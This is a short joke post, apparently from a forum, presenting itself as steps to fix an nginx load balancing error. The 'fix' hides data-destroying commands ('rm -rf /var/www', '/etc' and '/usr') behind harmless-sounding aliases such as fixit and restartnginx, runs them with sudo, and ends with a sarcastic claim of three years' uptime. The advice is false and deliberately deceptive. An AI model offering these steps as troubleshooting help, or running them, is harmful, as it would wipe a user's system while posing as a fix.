Last time I had a load balancing error with my nginx configuration, I did the following steps to fix it all:

1. ssh into the machine
2. alias fixit='rm -rf /var/www'
3. alias restartnginx='rm -rf /etc'
4. alias balance='rm -rf /usr'
5. sudo fixit
6. sudo restartnginx
7. sudo balance
8. ls -lah

It's been up and running nonstop for over 3 years now.